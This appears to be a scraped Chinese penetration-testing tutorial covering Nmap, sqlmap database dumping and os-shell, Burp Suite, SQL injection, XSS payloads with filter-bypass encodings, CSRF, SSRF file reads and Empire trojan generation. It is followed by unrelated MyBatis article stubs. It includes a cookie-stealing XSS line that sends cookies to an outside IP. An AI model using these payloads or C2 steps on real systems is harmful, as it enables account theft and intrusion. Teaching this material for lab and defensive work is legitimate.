网络渗透知识

article/2025/10/7 23:33:44

1. Nmap的基本Nmap + ip 6+ ipNmap -A 开启操作系统识别和版本识别功能– T(0-6档)  设置扫描的速度  一般设置T4    过快容易被发现-v 显示信息的级别,-vv显示更详细的信息192.168.1.1/24 扫描C段   192.168.11 -254 =上nmap -A -T4 -v -iL   ~/targets.txt   (iL表示要扫描的目标位于一个文档中)    --------------- 192.168.1.1/24  --exclude 192.168.1.100  (排除在外的目标 .100)    --------------- -----------------excludefile  ~/targets.txt    nmap 192.168.1.1   -p 80.443 网站  是否在这个端口部署网站    nmap –traceroute 192.168.1.1   探测路由    nmap -O 192.168.1.1              对目标进行指纹识别    nmap -sV    ----------         对版本进行探测    nmap -sF -T4 192.168.1.1         利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 后者 fileter状态。  (利用三次握手,可以绕开防火墙)    nmap –script=auth+ip 处理鉴权证书的脚本,也可以作为检测部分应用弱口令    -----------=brute+ip 暴力破解    扫描脚本介绍:位置 : nmap安装目录/scripts/     例如/usr/share/nmap/scripts脚本类型:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

ll /usr/share/nmap/scripts | grep ^- | wc -l

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 使用介绍:

nmap --script=auth 192.168.137.*负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令nmap --script=brute 192.168.137.*提供暴力破解的方式  可对数据库,smb,snmp等进行简单密码的暴力猜解nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.* 默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。nmap --script=vuln 192.168.137.*  检查是否存在常见漏洞nmap -n -p445 --script=broadcast 192.168.137.4在局域网内探查更多服务开启状况

zenmapNmap 的图形化界面:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 2.SQLmap 简介是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。 安装sqlmap前,需要先安装Python3.Xhttps://www.python.org/downloads/windows/在环境变量path中,增加python3.x 安装路径下载sqlmap并解压缩:地址:https://sqlmap.org/Python sqlmap.py -u http://xxx.xxx.xxx/Python sqlmap.py –help 查看帮助 borp sqlmap支持五种不同的注入模式:UNION query SQL injection(可联合查询注入)uError-based SQL injection(报错型注入)uBoolean-based blind SQL injection(布尔型注入)uTime-based blind SQL injection(基于时间延迟注入)uStacked queries SQL injection(可多语句查询注入)

2.sqlmap 常用命令参数-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….--dbs 返回当前连接的数据库--current-db 返回当前网站数据库的数据库用户-D 指定数据库系统的数据库名--tables 列举数据库表-T 指定数据库表名--columns 列举数据库表中的字段-C 指定数据库表中的字段名--dump 获取整个表的数据

3.设置回显等级参数: -v默认为10 只显示python错误以及严重的信息1 基本信息和警告信息2 debug信息3 注入的payload(级别越高显示信息越多) 4同时显示HTTP请求。5同时显示HTTP响应头。6同事显示HTTP响应页面。--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。--cookie (用于区分用户)可能会有漏洞,当web登录时,抓取数据包。

4.设置HTTP数据包相关参数HTTP User-Agent 头参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbssqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞5.设定探测等级:--level共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到--users 列数据库管理用户--current-user 在数据库中,目前连接的用户--is-dba 判断当前是否为管理,是的话返回true--proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限 6.Sqlmap“六步”第一步:判断是否注是注入点sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” 检测该网站是否存在漏洞 白色加粗字体为注入点 也就是攻击对象

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 第二步:获取数据库sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs 

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 第三步:查看当前应用程序所用数据库sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 四:列出指定数据库的所有表sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 五:读取指定表中的字段名称sqlmap.py-u“http://localhost/sqlilabs/Less-1/?id=1(目标链接)”-D”security”-Tusers–colunms

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 六:读取指定字段内容sqlmap.py-u“http://localhost/sqlilabs/Less-1/?id=1(目标链接)”-D”security”-Tusers-Cusername,password–dump(dump=下载,脱库)

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 判断当前数据库用户权限:sqlmap.py-u“http://localhost/sqlilabs/Less-1/?id=1(目标链接)”--is-dba如果是TRUE,那么权限该用户很大。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

-roles列出数据库管理员角色如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,sqlmap-u"http://127.0.0.1/sqli-labs-master/Less-1/?id=1"--roles

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_18,color_FFFFFF,t_70,g_se,x_16

-refererHTTPReferer头当–level参数设定为3或3以上时,会尝试对HTTPReferer注入。可以使用referer命令来欺骗,如--refererhttps://mp.mysite.net-sql-shell运行自定义的sql语句sqlmap-u"http://127.0.0.1/sqli-labs-master/Less-1/?id=1"--sql-shell运行任意操作系统命令:选择后台语言sqlmap-u"http://127.0.0.1/sqli-labs-master/Less-1/?id=1"--os-cmd=whoami

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 --os-cmd=whoami--os-shell

(以你的电脑为跳板,对局域网进行渗透,或留后门)

--file-read从数据库服务器中读取文件:当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。上传文件到数据库服务器中:--file-write--file-dest读取指定数据库用户的密码sqlmap-u"http://xxxxx/fuzz/index.php?id=1"--passwords-Uroot

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 SQLMAP进阶常用tamper脚本apostrophemask.py将引号替换为utf-8,用于过滤单引号(易容术)适用数据库:ALL作用:将引号替换为utf-8,用于过滤单引号使用脚本前:tamper("1AND'1'='1")使用脚本后:1AND%EF%BC%871%EF%BC%87=%EF%BC%871multiplespaces.py围绕sql关键字添加多个空格去绕过适用数据库:ALL作用:围绕sql关键字添加多个空格使用脚本前:tamper('1UNIONSELECTfoobar')使用脚本后:1UNIONSELECTfoobar

3.BurpSuite工具

1.使用前配置①选择代理Proxy选项卡②选择设置option选项卡③Edit    Running打勾 124.0.0.1:8080

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16 配置成功

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 历史访问

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 

二、功能模块讲解

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16 

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16 

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16 

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16 

 

模块介绍

send to spider 发送给爬虫模块do a active scan 进行一次主动扫描send to intruder 发送给爆破模块send to repearter 发送给重放模块send to comparer 发送给比对模块send to decoder 发送给解码模块request in browser 将请求在浏览器重放 四:MYSQL与SQL注入mysql知识点- 基本查询语句查询表中全部信息: select *from 表明-关键的函数select+以下语句    version() 数据库版本    database() 数据库名    user() 用户名    current_user() 当前用户名    system_user() 系统用户名    @@datadir 数据库路径    @@version_compile_os 操作系统版本-order by(排序) 语法 -联合查询order by 1—order by 2—确定字段数   使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据  注意: 相同的列结构         需要有知道表结构,列结构    exists()函数猜解表明    information_schema 是一个mysql系统自带的元数据库information_schema.SCHEMATA 查看所有的数据库

五、 XSS基础

1、什么是XSS? 中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。

2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。 攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)

3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号 2.窃取用户cookies资料,从而获取用户信息。 3.获取客户端信息,IP/端口等 4.劫持用户浏览器会话,从而执行任意操作 5.强制弹出窗口。 6.网页挂马,进行恶意操作 7.进行大量的客户端攻击 如DDoS攻击 8.控制受害者机器向其他客户端攻击

4、XSS分类 ①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。(特点:① 主要用于将恶意脚本附加到URL地址的参数中② 只在用户单击url时触发,而且只执行一次,非持久化③常用来窃取客户端 Cookies或进行钓鱼欺骗.④常常为通过引诱用户点击一个恶意链接来实施攻击的)name为可控参数

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。

当我们构造好了如下恶意代码,发送给受害者。<script>alert(document.cookie)</script> 将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16 

 ②存储型 :渗透 挂马 蠕虫病毒 出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。(特点:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性 ② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全. ③ 一般出现在网站的留言、评论、日志等交互处,)页面原理: POST提交数据,生成、读取文本模拟数据库,提交数据之后页面会将数据写入sql.txt, 再打开页面时会读取sql.txt中内容并显示在网页上,实现了存储型xss攻击模拟。当输入恶意代码,即会执行<script>alert('xss')</script>并且恶意代码会一直存储在服务器,每当有用户访问该页面,即会触发恶意代码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

  利用XSS弹出恶意警告框 <script>alert('hacked by cl4y')</script>

网页不停刷新<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >

获得cookie<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>

劫持流量(跳转到你的博客强行吸粉)<script>window.location.href="http://www.cl4y.top";</script>

③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。 xss平台1.获取COOKIE(这是必须的最基本的功能) 2.获取源码(取当前网页的源码)3.截图(可自己修改为连续截图)4.……………https://xss.pthttps://xssaq.com

XSS利用——无任何过滤<scirpt>

<scirpt>alert(1);</script>

<img><img src=1 οnerrοr=alert("xss");> //onerror等事件,可以调用js

<input><input οnfοcus="alert('xss');" autofocus>

<svg><svg οnlοad=alert("xss");><iframe><iframe οnlοad=alert("xss");>

</iframe><iframe src=javascript:alert('xss');></iframe> //src中支持伪协议<textarea><textarea οnfοcus=alert("xss"); autofocus>往往用户可控的参数都进行了过滤,不会让你用一个<script>标签就轻易攻击成功<script>shellcode</script>XXS绕过:关键字绕过空格绕过用/代替空格 <img/src="x"/οnerrοr=alert("xss");>关键字绕过大小写绕过 <ImG sRc=x onerRor=alert("xss");>利用其他标签双写关键字 <imimgg srsrcc=x οnerrοr=alert("xss");>字符拼接 <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> <script>top["al"+"ert"](`xss`);</script> 利用函数进行编码绕过Unicode绕过<img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函数进行编码绕过ASCII码<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">Hex绕过<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>Base64编码<img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))"><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 过滤括号当括号被过滤的时候可以使用throw来绕过<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //异常处理反引号<img src=x οnerrοr=alert`1`>过滤双引号,单引号反引号<img src=1 οnerrοr=alert`1`;>js事件当某个位置的可控点在一个标签内,那么或许可以通过js事件来完成xss操作<img src=1 οnerrοr=alert`1`;>

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 混淆:利用html标签格式的不严格、容错性。关键字中加空格加TAB回车url编码<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>Cref漏洞漏洞介绍:  一种对网站的恶意使用。与 xss相比不大流行(因此对其防范相当稀少,比xss更加具有危险性。   原理:利用目标用户身份,以目标用户名义执行非法操作(以目标用户名义发邮件,消息,盗取目标账号,购买商品,虚拟货币转账等),会泄露目标用户的财产安全。      Ps:(CSRF漏洞经常用来制作蠕虫攻击,刷SEO流量)靶场实战:漏洞分析:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16 

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16 

 Ssrf漏洞:是一种由攻击者构造请求,由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器,一个是由客户端发起的。在域名后增加url=语句,从而利用ssrf漏洞篡改脚本访问的地址。攻击方式如下:对外网,服务器所在的内网,本地进行端口扫描,获取的banner信息。B,攻击运行在内网或本地的应用程序。C,对内网web应用进行指纹识别,识别企业内部的资产信息。D.攻击内外网的web应用,主要是用HTTP请求就可以实现的攻击(比如struts2,sqli等等)利用file协议读取本地文件。 SSRF漏洞利用:测试地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php页面ssrf.php实现的功能获取GET参数URL,然后将url的内容返回网页上。如果将请求的网址篡改为http://www.baidu.com,则会显示http://www.baidu.com的网页内容,但是,当设置参数URL为内网地址时,则会泄露内网信息。访问ssrf.php?Url=file://C:/wwindows/win.ini即可读取本地文件。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 Ssrf漏洞修复建议:,限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求。限制不能访问的内网ip,以防止对内网进行攻击。屏蔽返回的详细信息。七,EmpireEmpire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。Empire运行在linux平台上官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境https://github.com/EmpireProject/EmpireKALI示例: git clone https://github.com/EmpireProject/Empire.git

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 然后安装Empire的依赖,命令如下cd Empire cd setuppip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)./install.sh在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:cd .../empire​ 若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。启动时如果遇到如下报错

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 可以将urllib3版本降级pip install urllib3==1.22重新设定bash reset.sh基本使用会涉及如下内容:1.帮助文档2.设置监听3.生成木马4.连接主机和基本使用5.信息收集6.权限提升帮助文档​运行Empire后,输入help命令查看具体的使用帮助。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 设置监听步骤如下:listeners #进入监听线程界面uselistener #设置监听模式info #查看具体参数设置set #设置相应参数execute #开始监听输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 设置监听这里采用http监听模式,输入uselistener http。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 

通过back返回上一级,使用listeners或者list可以查看所设置的监听器

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 

生成木马输入usestager后 空格加TAB键 查看可以设置的木马模式

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 

木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 

通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,文件会生成到 tmp 目录下,如下所示

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 

在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5rWT5rWT6aaZ,size_20,color_FFFFFF,t_70,g_se,x_16

 


http://chatgpt.dhexx.cn/article/OFsNMhpi.shtml

相关文章

网络安全之渗透(基础知识点)

一&#xff0e;常见术语 1、 脚本语言 脚本语言又被称为扩建的语言&#xff0c;或者动态语言&#xff0c;是一种编程语言&#xff0c;用来控制软件应用程序&#xff0c;脚本通常以文本&#xff08;如[ASCII](https://baike.baidu.com/item/ASCII)&#xff09;保存&#xff0c;…

零基础入门网络渗透到底要怎么学?

前言&#xff1a; 很多朋友问我&#xff0c;想搞网络安全&#xff0c;编程重要吗&#xff0c;选什么语言呢&#xff1f; 国内其实正经开设网络安全专业的学校很少&#xff0c;大部分同学是来自计算机科学、网络工程、软件工程专业的&#xff0c;甚至很多非计算机专业自学的。…

MyBatis 声明JdbcType. 如#{name,jdbcType=VARCHAR}

在我们结合MyBatis框架使用时&#xff0c;发现如下问题&#xff0c;当SQL语句为insert或者update时&#xff0c;如果其变量含有null值&#xff0c;会报错&#xff1a; ###Cause: java.sql.SQLException: JZ006: Caught IOException: java.io.IOException: JZ0SL: Unsupported …

Error setting null for parameter #6 with JdbcType OTHER . Try setting a different JdbcType for this

控制台报错信息如下 控制台报错信息如下&#xff1a; Cause: org.apache.ibatis.type.TypeException: Error setting null for parameter #6 with JdbcType OTHER . Try setting a different JdbcType for this parameter or a different jdbcTypeForNull configuration prope…

mybatis惯用jdbcType数据类型

mybatis常用jdbcType数据类型 MyBatis 通过包含的jdbcType类型 BIT FLOAT CHAR TIMESTAMP OTHER UNDEFINED TINYINT REAL VARCHAR BINARY BLOB NVARCHAR SMALLINT DOUBLE LONGVARCHAR VAR…

jdbcType报错

resultMap中映射没注意jdbcType类型直接报错&#xff1a; Cause: org.apache.ibatis.builder.BuilderException: Error resolving JdbcType. Cause: java.lang.IllegalArgumentException: No enum constant org.apache.ibatis.type.JdbcType.int 随后检查XML文件映射问题&#…

MyBatis的jdbcType的作用

今天在工作中&#xff0c;碰到在MyBatis的Mapping中看到了jdbc这个参数&#xff0c;瞬间懵逼&#xff0c;于是百度了下。 Mybatis中的jdbcType的作用使用MyBatis框架做更新操作时&#xff0c;在该字段需要更新的内容为空时&#xff0c;就会出现1111错误&#xff0c;也就是无效的…

Mysql中是text,jdbcType对应类型及jdbcType与javaType对应关系

如果Mysql中是text,则jdbcType对应LONGVARCHAR,java type对应String

MySQL text类型对应mybatis jdbcType类型

MySQL 的 text 类型对应 JAVA 中的数据类型是 String。对应MyBatis的类型是 LONGVARCHAR 。 例&#xff1a; <result column"field1" property"field1" jdbcType"LONGVARCHAR" />注意&#xff0c;在MyBatis支持的JDBC类型中是没有 TEXT …

Java-JDBCTemplate

Java-JDBCTemplate JDBC Template的继承结构 使用步骤&#xff1a; 代码 Spring框架对JDBC的简单封装。提供了一个JDBCTemplate对象简化JDBC的开发 JDBC Template的继承结构 使用步骤&#xff1a; 1. 导入jar包 2. 创建JdbcTemplate对象。依赖于数据源 DataSource JdbcTempla…

Mybatis中JdbcType的使用

MyBatis 插入空值时&#xff0c;需要指定JdbcType mybatis insert空值报空值异常&#xff0c;但是在PL/SQL不会提示错误&#xff0c;主要原因是mybatis无法进行转换 jdbcType的使用场合&#xff0c;只有当在insert&#xff0c;update和delete中有空字段时&#xff0c;需要使用…

Mybatis框架中jdbcType=DATE 和 jdbcType=TIMESTAMP 两种类型的区别

也算不上是Mybatis的bug&#xff0c;只能说是特性&#xff0c;本来就是这么设置的&#xff0c;在连接oracle数据库的时候&#xff0c;当jdbcType"DATE"类型时&#xff0c;返回的时间只有年月日&#xff08;yyyy-MM-dd&#xff09;的,当jdbcType“TIMESTAMP”的时候&a…

MyBatis JdbcType 与Oracle、MySql数据类型对应关系详解

转载请注明来源-作者loongshawn&#xff1a;http://blog.csdn.net/loongshawn/article/details/50496460 1. Mybatis JdbcType与Oracle、MySql数据类型对应列表 MybatisJdbcTypeOracleMySqlJdbcTypeARRAYJdbcTypeBIGINTBIGINTJdbcTypeBINARYJdbcTypeBITBITJdbcTypeBLOBBLOBBL…

JDBCTemplate

目录 1、什么是JDBC 2、什么是JDBCTemplate 3、快速上手JDBCTemplate 4.调用JdbcTemplate的方法来完成CRUD的操作 1、什么是JDBC JDBC&#xff08;Java DataBase Connectivity,java数据库连接&#xff09;&#xff1a;是一种用于执行SQL语句的Java API&#xff0c;可以为多…

MyBatis中的JdbcType映射介绍

Java项目涉及到数据库交互&#xff0c;以往常用的是JDBC&#xff0c;现在则有Hibernate、Mybatis等这些持久化支持。 项目中用到了MyBatis&#xff0c;和JDBC最显著的区别&#xff0c;就是SQL语句配置化&#xff0c;通过xml文件定义SQL语句&#xff0c;当然JDBC也可以将SQL配置…

jdbctype(jdbctype=numeric)

jdbctype 和 javatype的区别 jdbc是数据库的数据类型&#xff0c;Java是那几种类型加类类型使用mybatis框架做更新操作时&#xff0c;在该字段需要更新的内容为空时&#xff0c;就会出现1111错误&#xff0c;也就是无效的列类型&#xff0c;这个时候你就要使用jdbctype。至于什…

JdbcType

JdbcType介绍 数据库列字段都是有类型的&#xff0c;不同的数据库有不同的类型。为了表示这些数据类型&#xff0c;Java源码是采用枚举来定义的&#xff1a; public enum JDBCType implements SQLType {TINYINT(Types.TINYINT),SMALLINT(Types.SMALLINT),INTEGER(Types.INTEG…

MyBatis 所有的 jdbcType类型

MyBatis处理MySQL字段类型date与datetime 1&#xff09; DATETIME 显示格式&#xff1a;yyyy-MM-dd HH:mm:ss 时间范围:[ 1000-01-01 00:00:00到9999-12-31 23:59:59]2&#xff09; DATE 显示格式&#xff1a;yyyy-MM-dd 时间范围&#xff1a;[1000-01-01到9999-12-31]3&#…

(转)mybatis常用jdbcType数据类型

阅读目录 1 MyBatis 通过包含的jdbcType类型2 Mybatis中javaType和jdbcType对应和CRUD例子3 Mybatis中javaType和jdbcType对应关系 4 oracle数据类型和对应的java类型 回到顶部 1 MyBatis 通过包含的jdbcType类型 BIT FLOAT CHAR TIMESTAMP O…

Harris Corner 角点检测

角点是同时在多个方向上变化的点&#xff0c;相对于边缘&#xff0c;更加具有独特性。角点检测普遍应用在很多场合&#xff0c;如指纹检测中的指纹特征提取&#xff0c;稀疏光流计算。 Harris corner角点的基本思想是通过一个小窗口来观察&#xff0c;因此很容易识别出角点来。…